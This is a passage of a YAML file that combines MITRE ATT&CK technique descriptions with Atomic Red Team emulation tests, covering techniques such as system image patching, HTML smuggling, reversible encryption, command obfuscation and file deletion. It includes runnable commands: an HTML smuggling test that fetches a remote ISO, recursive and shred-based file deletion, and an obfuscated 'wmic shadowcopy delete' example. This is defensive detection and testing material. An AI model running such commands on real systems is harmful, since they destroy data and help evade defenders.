x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f type: attack-pattern created: '2020-10-19T19:49:24.129Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1601.001 url: https://attack.mitre.org/techniques/T1601/001 - source_name: Killing the myth of Cisco IOS rootkits url: https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf description: Sebastian 'topo' Muñiz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020. - source_name: Killing IOS diversity myth url: https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf description: 'Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020.' - source_name: Cisco IOS Shellcode url: http://2015.zeronights.org/assets/files/05-Nosenko.pdf description: 'George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020.' - source_name: Cisco IOS Forensics Developments url: https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf description: Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020. - source_name: Juniper Netscreen of the Dead url: https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf description: Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020. - source_name: Cisco IOS Software Integrity Assurance - Image File Verification url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020. - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13 description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020. modified: '2021-04-29T14:49:39.188Z' name: Patch System Image description: "Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). \ Adding new capabilities for the adversary’s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. \ By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. \ However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: |- Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification) Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1070.009: technique: modified: '2023-05-09T14:00:00.188Z' name: Clear Persistence description: |- Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation: Talos - Cisco Attack 2022) In some instances, artifacts of persistence may also be removed once an adversary’s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Gavin Knapp x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'File: File Deletion' - 'User Account: User Account Deletion' - 'File: File Modification' - 'Windows Registry: Windows Registry Key Modification' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Deletion' - 'Scheduled Job: Scheduled Job Modification' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33 created: '2022-07-29T19:32:11.552Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1070/009 external_id: T1070.009 - source_name: Cylance Dust Storm description: Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021. url: https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf - source_name: Talos - Cisco Attack 2022 description: Nick Biasini. (2022, August 10). Cisco Talos shares insights related to recent cyber attack on Cisco. Retrieved March 9, 2023. url: https://blog.talosintelligence.com/recent-cyber-attack/ - source_name: NCC Group Team9 June 2020 description: Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020. url: https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1556.001: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605 type: attack-pattern created: '2020-02-11T19:05:02.399Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1556.001 url: https://attack.mitre.org/techniques/T1556/001 - source_name: Dell Skeleton description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019. url: https://www.secureworks.com/research/skeleton-key-malware-analysis - url: https://technet.microsoft.com/en-us/library/dn487457.aspx description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. source_name: TechNet Audit Policy modified: '2022-04-25T14:00:00.188Z' name: Domain Controller Authentication description: "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: "Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). " x_mitre_is_subtechnique: true x_mitre_version: '2.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Process: Process Access' - 'File: File Modification' - 'Process: OS API Execution' x_mitre_permissions_required: - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1027.006: technique: modified: '2023-07-14T14:01:41.475Z' name: HTML Smuggling description: |- Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018) Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters. For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Stan Hegt, Outflank - Jonathan Boucher, @crash_wave, Bank of Canada - Krishnan Subramanian, @krish203 - Vinay Pidathala x_mitre_deprecated: false x_mitre_detection: |- Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as Blob, msSaveOrOpenBlob, and/or download may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives. Consider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Linux - macOS x_mitre_version: '1.1' x_mitre_data_sources: - 'File: File Creation' x_mitre_defense_bypassed: - Anti-virus - Web Content Filters - Static File Analysis type: attack-pattern id: attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb created: '2021-05-20T12:20:42.219Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1027/006 external_id: T1027.006 - source_name: Outlflank HTML Smuggling 2018 description: Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved May 20, 2021. url: https://outflank.nl/blog/2018/08/14/html-smuggling-explained/ - source_name: MSTIC NOBELIUM May 2021 description: Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021. url: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/ - source_name: HTML Smuggling Menlo Security 2020 description: 'Subramanian, K. (2020, August 18). New HTML Smuggling Attack Alert: Duri. Retrieved May 20, 2021.' url: https://www.menlosecurity.com/blog/new-attack-alert-duri - source_name: nccgroup Smuggling HTA 2017 description: Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved May 20, 2021. url: https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1027.006 atomic_tests: - name: HTML Smuggling Remote Payload auto_generated_guid: 30cbeda4-08d9-42f1-8685-197fad677734 description: "The HTML file will download an ISO file from [T1553.005](https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1553.005/bin/FeelTheBurn.iso) without user interaction. \nThe HTML file is based off of the work from [Stan Hegt](https://outflank.nl/blog/2018/08/14/html-smuggling-explained/)\n" supported_platforms: - windows dependencies: - description: 'T1027_006_remote.html must exist on disk at specified at PathToAtomicsFolder\T1027.006\bin\T1027_006_Remote.html ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\T1027.006\bin\T1027_006_Remote.html") { exit 0} else { exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\T1027.006\bin\" -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.006/bin/T1027_006_Remote.html" -OutFile "PathToAtomicsFolder\T1027.006\bin\T1027_006_Remote.html" executor: command: '& "PathToAtomicsFolder\T1027.006\bin\T1027_006_remote.html" ' cleanup_command: "$user = [System.Environment]::UserName; Remove-Item -Path C:\\Users\\$user\\Downloads\\FeelTheBurn.iso -ErrorAction Ignore" name: powershell elevation_required: false T1556.005: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48 type: attack-pattern created: '2022-01-13T20:02:28.349Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1556.005 url: https://attack.mitre.org/techniques/T1556/005 - source_name: store_pwd_rev_enc url: https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption description: Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022. - source_name: how_pwd_rev_enc_1 url: http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html description: 'Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021.' - source_name: how_pwd_rev_enc_2 url: http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html description: 'Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021.' - source_name: dump_pwd_dcsync url: https://adsecurity.org/?p=2053 description: Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021. modified: '2022-05-11T14:00:00.188Z' name: Reversible Encryption description: |- An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc) If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components: 1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters 2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters 3. Global LSA secret (G$MSRADIUSCHAPKEY) 4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL) With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2) An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: "Monitor property changes in Group Policy: Computer Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password Policy\\Store passwords using reversible encryption. By default, the property should be set to Disabled.\n\nMonitor command-line usage for -AllowReversiblePasswordEncryption $true or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser and Set-ADAccountControl, that change account configurations. \n\nMonitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)" x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Active Directory: Active Directory Object Modification' - 'Command: Command Execution' - 'User Account: User Account Metadata' - 'Script: Script Execution' x_mitre_permissions_required: - User - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1027.010: technique: modified: '2023-05-09T14:00:00.188Z' name: Command Obfuscation description: |- Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE) For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`“Wor”+“d.Application”`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017) Adversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\voi\pcw\..\..\Windows\tei\qs\k\..\..\..\system32\erool\..\wbem\wg\je\..\..\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC) Tools such as Invoke-Obfuscation and Invoke-DOSfucation have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - TruKno - Tim Peck - George Thomas x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'File: File Metadata' - 'Script: Script Execution' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377 created: '2023-03-14T17:36:01.022Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1027/010 external_id: T1027.010 - source_name: Twitter Richard WMIC description: Ackroyd, R. (2023, March 24). Twitter. Retrieved March 24, 2023. url: https://twitter.com/rfackroyd/status/1639136000755765254 - source_name: Invoke-Obfuscation description: Bohannon, D. (2016, September 24). Invoke-Obfuscation. Retrieved March 17, 2023. url: https://github.com/danielbohannon/Invoke-Obfuscation - source_name: Invoke-DOSfuscation description: Bohannon, D. (2018, March 19). Invoke-DOSfuscation. Retrieved March 17, 2023. url: https://github.com/danielbohannon/Invoke-DOSfuscation - source_name: FireEye Obfuscation June 2017 description: 'Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.' url: https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html - source_name: Malware Monday VBE description: 'Bromiley, M. (2016, December 27). Malware Monday: VBScript and VBE Files. Retrieved March 17, 2023.' url: https://bromiley.medium.com/malware-monday-vbscript-and-vbe-files-292252c1a16 - source_name: Akamai JS description: Katz, O. (2020, October 26). Catch Me if You Can—JavaScript Obfuscation. Retrieved March 17, 2023. url: https://www.akamai.com/blog/security/catch-me-if-you-can-javascript-obfuscation - source_name: Bashfuscator Command Obfuscators description: LeFevre, A. (n.d.). Bashfuscator Command Obfuscators. Retrieved March 17, 2023. url: https://bashfuscator.readthedocs.io/en/latest/Mutators/command_obfuscators/index.html - source_name: Microsoft PowerShellB64 description: 'Microsoft. (2023, February 8). about_PowerShell_exe: EncodedCommand. Retrieved March 17, 2023.' url: https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcommand - source_name: RC PowerShell description: 'Red Canary. (n.d.). 2022 Threat Detection Report: PowerShell. Retrieved March 17, 2023.' url: https://redcanary.com/threat-detection-report/techniques/powershell/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1070.004: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Walker Johnson object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c created: '2020-01-31T12:35:36.479Z' x_mitre_version: '1.1' external_references: - source_name: mitre-attack external_id: T1070.004 url: https://attack.mitre.org/techniques/T1070/004 - source_name: Microsoft SDelete July 2016 url: https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete description: Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018. x_mitre_deprecated: false revoked: false description: |- Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint. There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include del on Windows and rm or unlink on Linux and macOS. modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Indicator Removal on Host: File Deletion' x_mitre_detection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Deletion' x_mitre_defense_bypassed: - Host forensic analysis x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1070.004 atomic_tests: - name: Delete a single file - FreeBSD/Linux/macOS auto_generated_guid: 562d737f-2fc6-4b09-8c2a-7f8ff0828480 description: 'Delete a single file from the temporary directory ' supported_platforms: - linux - macos input_arguments: parent_folder: description: Path of parent folder type: path default: "/tmp/victim-files/" file_to_delete: description: Path of file to delete type: path default: "/tmp/victim-files/T1070.004-test.txt" dependency_executor_name: sh dependencies: - description: 'The file must exist in order to be deleted ' prereq_command: 'test -e #{file_to_delete} && exit 0 || exit 1 ' get_prereq_command: 'mkdir -p #{parent_folder} && touch #{file_to_delete} ' executor: command: 'rm -f #{file_to_delete} ' cleanup_command: 'rm -rf #{parent_folder} ' name: sh - name: Delete an entire folder - FreeBSD/Linux/macOS auto_generated_guid: a415f17e-ce8d-4ce2-a8b4-83b674e7017e description: 'Recursively delete the temporary directory and all files contained within it ' supported_platforms: - linux - macos input_arguments: folder_to_delete: description: Path of folder to delete type: path default: "/tmp/victim-folder" dependency_executor_name: sh dependencies: - description: 'The folder must exist in order to be deleted ' prereq_command: 'test -e #{folder_to_delete} && exit 0 || exit 1 ' get_prereq_command: 'mkdir -p #{folder_to_delete} ' executor: command: 'rm -rf #{folder_to_delete} ' name: sh - name: Overwrite and delete a file with shred auto_generated_guid: '039b4b10-2900-404b-b67f-4b6d49aa6499' description: 'Use the `shred` command to overwrite the temporary file and then delete it ' supported_platforms: - linux input_arguments: file_to_shred: description: Path of file to shred type: path default: "/tmp/victim-shred.txt" executor: command: 'shred -u #{file_to_shred} ' name: sh - name: Delete a single file - Windows cmd auto_generated_guid: 861ea0b4-708a-4d17-848d-186c9c7f17e3 description: | Delete a single file from the temporary directory using cmd.exe. Upon execution, no output will be displayed. Use File Explorer to verify the file was deleted. supported_platforms: - windows input_arguments: file_to_delete: description: File to delete. Run the prereq command to create it if it does not exist. type: string default: "%temp%\\deleteme_T1551.004" dependency_executor_name: command_prompt dependencies: - description: 'The file to delete must exist on disk at specified location (#{file_to_delete}) ' prereq_command: 'IF EXIST "#{file_to_delete}" ( EXIT 0 ) ELSE ( EXIT 1 ) ' get_prereq_command: 'echo deleteme_T1551.004 >> #{file_to_delete} ' executor: command: 'del /f #{file_to_delete} ' name: command_prompt - name: Delete an entire folder - Windows cmd auto_generated_guid: ded937c4-2add-42f7-9c2c-c742b7a98698 description: | Recursively delete a folder in the temporary directory using cmd.exe. Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted. supported_platforms: - windows input_arguments: folder_to_delete: description: Folder to delete. Run the prereq command to create it if it does not exist. type: string default: "%temp%\\deleteme_T1551.004" dependency_executor_name: command_prompt dependencies: - description: 'The file to delete must exist on disk at specified location (#{folder_to_delete}) ' prereq_command: 'IF EXIST "#{folder_to_delete}" ( EXIT 0 ) ELSE ( EXIT 1 ) ' get_prereq_command: 'mkdir #{folder_to_delete} ' executor: command: 'rmdir /s /q #{folder_to_delete} ' name: command_prompt - name: Delete a single file - Windows PowerShell auto_generated_guid: 9dee89bd-9a98-4c4f-9e2d-4256690b0e72 description: 'Delete a single file from the temporary directory using Powershell. Upon execution, no output will be displayed. Use File Explorer to verify the file was deleted. ' supported_platforms: - windows input_arguments: file_to_delete: description: File to delete. Run the prereq command to create it if it does not exist. type: string default: "$env:TEMP\\deleteme_T1551.004" dependency_executor_name: powershell dependencies: - description: 'The file to delete must exist on disk at specified location (#{file_to_delete}) ' prereq_command: 'if (Test-Path #{file_to_delete}) {exit 0} else {exit 1} ' get_prereq_command: 'New-Item -Path #{file_to_delete} | Out-Null ' executor: command: 'Remove-Item -path #{file_to_delete} ' name: powershell - name: Delete an entire folder - Windows PowerShell auto_generated_guid: edd779e4-a509-4cba-8dfa-a112543dbfb1 description: 'Recursively delete a folder 